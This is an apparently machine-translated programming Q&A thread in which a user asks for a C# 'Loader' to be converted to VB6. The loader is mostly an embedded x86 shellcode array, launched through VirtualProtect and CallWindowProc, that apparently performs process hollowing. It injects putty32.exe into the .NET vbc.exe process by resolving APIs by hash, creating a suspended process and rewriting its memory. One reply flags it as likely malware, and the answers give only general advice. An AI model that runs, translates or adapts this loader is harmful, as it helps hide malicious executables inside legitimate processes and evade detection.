Member 14359403 Ответов: 2

Преобразование из C# в visual basic 6


Привет, ребята, я получил этот код, и я хочу конвертировать из c# o vb6

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;

namespace Loader
{
    class Program
    {
        [DllImport("kernel32.dll")]
        private static extern bool VirtualProtect(byte[] data, int size, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("user32.dll")]
        private static extern IntPtr CallWindowProc(byte[] lpPrevWndFunc, byte[] hWnd, byte[] Msg, uint wParam, uint lParam);
        
        private static byte[] _hexData = {
            0x55, 0x8B, 0xEC, 0x8B, 0x55, 0x0C, 0x8B, 0x4D, 0x08, 0xE8, 0x02, 0x01, 0x00, 0x00, 0x33, 0xC0,
            0x5D, 0xC2, 0x10, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
            0x55, 0x8B, 0xEC, 0x51, 0x8B, 0x45, 0x08, 0x89, 0x45, 0xFC, 0x83, 0x7D, 0x10, 0x00, 0x76, 0x1C,
            0x8B, 0x4D, 0xFC, 0x8A, 0x55, 0x0C, 0x88, 0x11, 0x8B, 0x45, 0xFC, 0x83, 0xC0, 0x01, 0x89, 0x45,
            0xFC, 0x8B, 0x4D, 0x10, 0x83, 0xE9, 0x01, 0x89, 0x4D, 0x10, 0xEB, 0xDE, 0x8B, 0x45, 0x08, 0x8B,
            0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
            0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x18, 0x89, 0x55, 0xF4, 0x8B, 0xD1, 0x53, 0x56, 0x33, 0xF6, 0x89,
            0x55, 0xFC, 0x8B, 0x42, 0x3C, 0x57, 0x8B, 0x44, 0x10, 0x78, 0x03, 0xC2, 0x8B, 0x58, 0x1C, 0x8B,
            0x48, 0x20, 0x03, 0xDA, 0x89, 0x5D, 0xE8, 0x03, 0xCA, 0x8B, 0x58, 0x24, 0x03, 0xDA, 0x89, 0x4D,
            0xF0, 0x89, 0x5D, 0xEC, 0x8B, 0x58, 0x18, 0x89, 0x5D, 0xF8, 0x85, 0xDB, 0x74, 0x50, 0x66, 0x90,
            0x8B, 0x04, 0xB1, 0xBF, 0xC5, 0x9D, 0x1C, 0x81, 0x8A, 0x2C, 0x10, 0x03, 0xC2, 0x84, 0xED, 0x74,
            0x30, 0x8A, 0xDD, 0x8D, 0x40, 0x01, 0x8A, 0xCD, 0x80, 0xEB, 0x41, 0x80, 0xC1, 0x20, 0x80, 0xFB,
            0x19, 0x0F, 0xB6, 0xD1, 0x0F, 0xB6, 0xCD, 0x0F, 0x47, 0xD1, 0x0F, 0xB6, 0xCA, 0x33, 0xCF, 0x69,
            0xF9, 0x93, 0x01, 0x00, 0x01, 0x8A, 0x28, 0x84, 0xED, 0x75, 0xD6, 0x8B, 0x55, 0xFC, 0x8B, 0x5D,
            0xF8, 0x3B, 0x7D, 0xF4, 0x74, 0x11, 0x8B, 0x4D, 0xF0, 0x46, 0x3B, 0xF3, 0x72, 0xB2, 0x5F, 0x5E,
            0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45, 0xEC, 0x8B, 0x4D, 0xE8, 0x5F, 0x0F, 0xB7,
            0x04, 0x70, 0x5E, 0x5B, 0x8B, 0x04, 0x81, 0x03, 0xC2, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC,
            0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF8, 0x81, 0xEC, 0x5C, 0x03, 0x00, 0x00, 0x64, 0xA1, 0x30, 0x00,
            0x00, 0x00, 0x89, 0x4C, 0x24, 0x14, 0x53, 0x56, 0x8B, 0x48, 0x0C, 0x8B, 0x41, 0x14, 0x83, 0xC1,
            0x14, 0x89, 0x54, 0x24, 0x20, 0x89, 0x4C, 0x24, 0x18, 0x89, 0x44, 0x24, 0x0C, 0x57, 0x3B, 0xC1,
            0x74, 0x61, 0x0F, 0xB7, 0x58, 0x24, 0xD1, 0xEB, 0xC7, 0x44, 0x24, 0x14, 0xC5, 0x9D, 0x1C, 0x81,
            0x74, 0x47, 0x8B, 0x40, 0x28, 0x0F, 0xB7, 0x38, 0x8D, 0x40, 0x02, 0x8B, 0xCF, 0x8D, 0x51, 0xBF,
            0x83, 0xC1, 0x20, 0x0F, 0xB7, 0xF1, 0x66, 0x83, 0xFA, 0x19, 0x8B, 0xCF, 0x0F, 0x47, 0xF1, 0x0F,
            0xB7, 0xCE, 0x33, 0x4C, 0x24, 0x14, 0x69, 0xC9, 0x93, 0x01, 0x00, 0x01, 0x89, 0x4C, 0x24, 0x14,
            0x83, 0xEB, 0x01, 0x75, 0xD0, 0x8B, 0x44, 0x24, 0x10, 0x81, 0xF9, 0xC3, 0xF6, 0xE6, 0xA3, 0x0F,
            0x84, 0x35, 0x02, 0x00, 0x00, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x00, 0x89, 0x44, 0x24, 0x10, 0x3B,
            0xC1, 0x75, 0x9F, 0x33, 0xF6, 0xBA, 0x9F, 0xD6, 0x42, 0x13, 0x8B, 0xCE, 0xE8, 0xAF, 0xFE, 0xFF,
            0xFF, 0xBA, 0x5E, 0x7F, 0x08, 0x5B, 0x89, 0x44, 0x24, 0x38, 0x8B, 0xCE, 0xE8, 0x9F, 0xFE, 0xFF,
            0xFF, 0xBA, 0xBC, 0xDF, 0x96, 0x7B, 0x89, 0x44, 0x24, 0x3C, 0x8B, 0xCE, 0xE8, 0x8F, 0xFE, 0xFF,
            0xFF, 0xBA, 0xD9, 0x19, 0x82, 0xF3, 0x89, 0x44, 0x24, 0x40, 0x8B, 0xCE, 0xE8, 0x7F, 0xFE, 0xFF,
            0xFF, 0xBA, 0x8A, 0xB7, 0xB9, 0xFB, 0x89, 0x44, 0x24, 0x44, 0x8B, 0xCE, 0xE8, 0x6F, 0xFE, 0xFF,
            0xFF, 0x8B, 0xF8, 0xBA, 0xF2, 0x75, 0x87, 0xC6, 0x8B, 0xCE, 0x89, 0x7C, 0x24, 0x10, 0xE8, 0x5D,
            0xFE, 0xFF, 0xFF, 0xBA, 0xEE, 0x6A, 0xA6, 0x7C, 0x89, 0x44, 0x24, 0x48, 0x8B, 0xCE, 0xE8, 0x4D,
            0xFE, 0xFF, 0xFF, 0xBA, 0xA5, 0xAC, 0x85, 0x82, 0x89, 0x44, 0x24, 0x4C, 0x8B, 0xCE, 0xE8, 0x3D,
            0xFE, 0xFF, 0xFF, 0x8B, 0x74, 0x24, 0x24, 0x6A, 0x10, 0x89, 0x44, 0x24, 0x20, 0x8D, 0x44, 0x24,
            0x2C, 0x6A, 0x00, 0x8B, 0x5E, 0x3C, 0x03, 0xDE, 0x50, 0x0F, 0xB7, 0x4B, 0x14, 0x03, 0xCB, 0x89,
            0x4C, 0x24, 0x20, 0xE8, 0xD8, 0xFD, 0xFF, 0xFF, 0x6A, 0x44, 0x8D, 0x44, 0x24, 0x60, 0x6A, 0x00,
            0x50, 0xE8, 0xCA, 0xFD, 0xFF, 0xFF, 0x68, 0xCC, 0x02, 0x00, 0x00, 0x8D, 0x84, 0x24, 0xB4, 0x00,
            0x00, 0x00, 0x6A, 0x00, 0x50, 0xE8, 0xB6, 0xFD, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x44, 0x83, 0xC4,
            0x24, 0x85, 0xC0, 0x0F, 0x84, 0x4A, 0x01, 0x00, 0x00, 0xB9, 0x4D, 0x5A, 0x00, 0x00, 0x66, 0x39,
            0x0E, 0x0F, 0x85, 0x3C, 0x01, 0x00, 0x00, 0x81, 0x3B, 0x50, 0x45, 0x00, 0x00, 0x0F, 0x85, 0x30,
            0x01, 0x00, 0x00, 0xB9, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x4B, 0x04, 0x0F, 0x85, 0x21, 0x01,
            0x00, 0x00, 0x8D, 0x4C, 0x24, 0x28, 0x51, 0x8D, 0x4C, 0x24, 0x54, 0x51, 0x6A, 0x00, 0x6A, 0x00,
            0x6A, 0x04, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x50, 0xFF, 0x54, 0x24, 0x60, 0x8D,
            0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01,
            0x00, 0x50, 0xFF, 0x74, 0x24, 0x30, 0xFF, 0x54, 0x24, 0x44, 0x85, 0xC0, 0x0F, 0x84, 0xE1, 0x00,
            0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0xFF, 0x73, 0x50, 0xFF, 0x73, 0x34, 0xFF,
            0x74, 0x24, 0x38, 0xFF, 0x54, 0x24, 0x54, 0x89, 0x44, 0x24, 0x18, 0x85, 0xC0, 0x75, 0x18, 0x50,
            0xFF, 0x74, 0x24, 0x2C, 0xFF, 0x54, 0x24, 0x4C, 0x8B, 0x4C, 0x24, 0x20, 0x8B, 0xD6, 0xE8, 0xFD,
            0xFD, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x18, 0x6A, 0x00, 0xFF, 0x73, 0x54, 0x56, 0x50, 0xFF, 0x74,
            0x24, 0x38, 0xFF, 0xD7, 0x33, 0xC0, 0x33, 0xFF, 0x66, 0x3B, 0x43, 0x06, 0x73, 0x39, 0x8B, 0x44,
            0x24, 0x14, 0x8D, 0x70, 0x2C, 0x83, 0x78, 0x28, 0x00, 0x74, 0x1C, 0x8B, 0x06, 0x03, 0x44, 0x24,
            0x24, 0x6A, 0x00, 0xFF, 0x76, 0xFC, 0x50, 0x8B, 0x46, 0xF8, 0x03, 0x44, 0x24, 0x24, 0x50, 0xFF,
            0x74, 0x24, 0x38, 0xFF, 0x54, 0x24, 0x24, 0x0F, 0xB7, 0x43, 0x06, 0x47, 0x83, 0xC6, 0x28, 0x3B,
            0xF8, 0x8B, 0x44, 0x24, 0x14, 0x72, 0xCE, 0x6A, 0x00, 0x6A, 0x04, 0x8D, 0x44, 0x24, 0x20, 0x50,
            0x8B, 0x84, 0x24, 0x48, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x08, 0x50, 0xFF, 0x74, 0x24, 0x38, 0xFF,
            0x54, 0x24, 0x24, 0x8B, 0x43, 0x28, 0x03, 0x44, 0x24, 0x18, 0x89, 0x84, 0x24, 0x48, 0x01, 0x00,
            0x00, 0x8D, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x50, 0xFF, 0x74, 0x24, 0x30, 0xFF, 0x54, 0x24,
            0x50, 0xFF, 0x74, 0x24, 0x2C, 0xFF, 0x54, 0x24, 0x50, 0x8B, 0x44, 0x24, 0x28, 0x8B, 0x74, 0x24,
            0x1C, 0x85, 0xC0, 0x74, 0x03, 0x50, 0xFF, 0xD6, 0x8B, 0x44, 0x24, 0x2C, 0x85, 0xC0, 0x74, 0x03,
            0x50, 0xFF, 0xD6, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x70, 0x10, 0xE9, 0xD3, 0xFD,
            0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 
        };
        
        static void Main(string[] args)
        {
            VirtualProtect(_hexData, _hexData.Length, 0x40, out uint old);

            byte[] injectionPath = Encoding.Unicode.GetBytes(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe"));
            byte[] putty32 = File.ReadAllBytes("putty32.exe");
            CallWindowProc(_hexData, injectionPath, putty32, 0, 0);
            
            Console.ReadKey();
        }
    }
}


Что я уже пробовал:

Я не пытаюсь ничего сделать,потому что мои навыки не так хороши на vb6, я просто пытаюсь помочь 1 моему другу с этим преобразованием

Gerry Schmitz

Похоже на какую-то вредоносную программу, которая начнет передавать что угодно.

2 Ответов

Рейтинг:
2

Maciej Los

Есть много онлайн-конвертеров, смотрите: Гугл[^]

В любом случае, я не рекомендую ничего конвертировать в VB. Как Кристиан Граус[^] упоминал, что этот язык программирования очень стар и почти бесполезен в наши дни. Нет даже возможности сравнить эти языки. Если ваш друг знает VB, он может использовать VB.NET-да. Это может быть хорошим местом для начала: Зацепить неуправляемые процессы с помощью VB.NET библиотеки DLL[^]


Рейтинг:
1

Christian Graus

На самом деле нет никакого пути от C# к VB6. Скажите своему другу, что VB6 устарел уже 20 лет назад, и нет никаких причин изучать или использовать его.

https://www.codeproject.com/Questions/797660/How-to-call-a-function-which-is-in-another-DLL-Win

Этот ответ объясняет, как вызвать функцию dll в VB6.


Maciej Los

5ed!